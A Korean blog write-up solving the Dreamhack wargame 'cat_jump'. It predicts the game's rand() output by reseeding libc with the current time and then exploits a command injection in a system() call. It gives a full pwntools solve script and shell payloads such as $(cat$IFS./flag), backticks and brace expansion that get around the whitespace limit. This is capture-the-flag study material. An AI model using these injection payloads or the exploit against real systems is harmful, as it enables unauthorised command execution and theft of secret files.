Step1: 일단 else if문을 통과해 CAT-JUMP를 37번 해야함
void StartGame() {
char cat_name[32];
char cmd[64];
// 생략
srand(time(NULL));
catnip = 0;
jump_cnt = 0;
puts("let the cat reach the roof! 🐈");
sleep(1);
do {
obstacle = rand() % 2;
do {
printf("left jump='h', right jump='j': ");
scanf("%c%*c", &input);
} while (input != 'h' && input != 'l');
if (catnip) {
catnip--;
jump_cnt++;
puts("the cat powered up and is invincible! nothing cannot stop! 🐈");
} else if ((input == 'h' && obstacle != 0) ||
(input == 'l' && obstacle != 1)) {
jump_cnt++;
puts("the cat jumped successfully! 🐱");
} else {
puts("the cat got stuck by obstacle! 😿 🪨 ");
return;
}
// eat some catnip with a specific probability.
p = (double)rand() / RAND_MAX;
if (p < CATNIP_PROBABILITY) {
puts("the cat found and ate some catnip! 😽");
catnip = CATNIP_INVINCIBLE_TIMES;
}
} while (jump_cnt < CAT_JUMP_GOAL);
random() 값을 전부 다 맞출수는 없고 동일한 seed를 가지는 random number generator (sequence)를 만들면 되지 않을까
import random
from time import time
random.seed(int(time()))
for i in range(37):
obstacle = random.randint(0,1)
print("i : "+str(i)+", obstacle : "+str(obstacle))
if obstacle==0:
p.sendlineafter("jump='j': ", "l")
else:
p.sendlineafter("jump='j': ", "h")
print(p.recvline())
random.randint(0,1)
파이썬 random 모듈을 이용해 짜봤으나 동작하지 않음. 아무래도 C library function을 직접 가져와서 써야할 듯
순서1. C 관련 모듈 import
from ctypes import CDLL
from ctypes.util import find_library
순서2. CDLL() 인자로 .so (shared object file)을 넘겨줌 // find_library("c")로 찾아도 되고 절대경로 넣어주어도 됨
# libc = CDLL("/lib/x86_64-linux-gnu/libc.so.6")
libc = CDLL(find_library('c'))
순서 3. 원하는 c 함수 사용하면 됨
libc.rand()
** 주의할 점: do-while문 loop 돌 때마다 rand() 두 번 호출 = obstacle 생성용 + catnip 생성용 // 이거땜에 시간 날림 ㅋㅋ
Step2: Command Injection을 통해 /tmp/cat_db에 ./flag 값을 입력해야함
printf("let people know your cat's name 😼: ");
scanf("%31s", cat_name);
snprintf(cmd, sizeof(cmd), "echo \"%s\" > /tmp/cat_db", cat_name);
system(cmd);
printf("goodjob! ");
system("cat /tmp/cat_db");
* echo "user input" > /tmp/cat_db 이거는 명령어 대체(Command Substitution) 이용
IEEE Open Group의 정의에 의하면, 리눅스 쉘에서 백틱은 $()과 함께 명령어 대체(command substitution)로 분류되는 표현식입니다. 백틱 또는 $() 괄호 안에 기술하는 명령어를 하위 쉘이 실행하고 그 출력 결과를 문자열로 대체하여 줍니다.
1. `` 백틱 사용
minseo@ubuntu:~/Desktop/Dreamhack/pwn_wargames/cat_jump/deploy$ echo "`cat flag`"
DH{**flag**}
2. $() 사용
minseo@ubuntu:~/Desktop/Dreamhack/pwn_wargames/cat_jump/deploy$ echo "$(cat flag)"
DH{**flag**}
* scanf는 whitespace 만나면 입력 종료되므로 공백 대체 필요
1. $IFS 우회 (대신 flag 파일 경로 명시해주어야 함)
minseo@ubuntu:~/Desktop/Dreamhack/pwn_wargames/cat_jump/deploy$ cat$IFSflag
^C
minseo@ubuntu:~/Desktop/Dreamhack/pwn_wargames/cat_jump/deploy$ cat$IFS./flag
DH{**flag**}
IFS는 internal field separator의 약자다. shell이 단어를 쪼갤 때 사용하는 문자를 의미한다. 디폴트 값은 공백 문자다.
2. {명령,인자} 조합
minseo@ubuntu:~/Desktop/Dreamhack/pwn_wargames/cat_jump/deploy$ {cat,flag}
DH{**flag**}
주의할 점은 subshell에서 {명령,인자} 조합은 안먹히더라, 당연히 exploit에서 사용 못하네...
Brace expansion {} is a feature that's not standard to all shells. Specifically, it's available in bash, zsh, and some others, but not in the traditional Bourne Shell or other simpler shells.
from pwn import *
from ctypes import CDLL
from ctypes.util import find_library
# p = process("./cat_jump")
p = remote("host3.dreamhack.games", 8952)
libc = CDLL(find_library('c'))
libc.srand(libc.time(0x0))
for i in range(37):
obstacle = libc.rand() % 2
print("i : "+str(i)+", obstacle : "+str(obstacle))
if obstacle==0:
p.sendlineafter("jump='j': ", "l")
else:
p.sendlineafter("jump='j': ", "h")
print(p.recvline())
libc.rand() # for catnip
p.sendlineafter('\xf0\x9f\x98\xbc: ', "$(cat$IFS./flag)")
p.interactive()
'security > 포너블 - dreamhack' 카테고리의 다른 글
[Dreamhack Wargame] validator (0) | 2023.06.16 |
---|---|
pwn 강좌 메모 (0) | 2023.06.15 |
[Dreamhack Wargame] STB-lsExecutor (0) | 2023.06.15 |
[Dreamhack Wargame] awesome_basic (0) | 2023.06.15 |
[Dreamhack Wargame] Stupid GCC (0) | 2023.06.14 |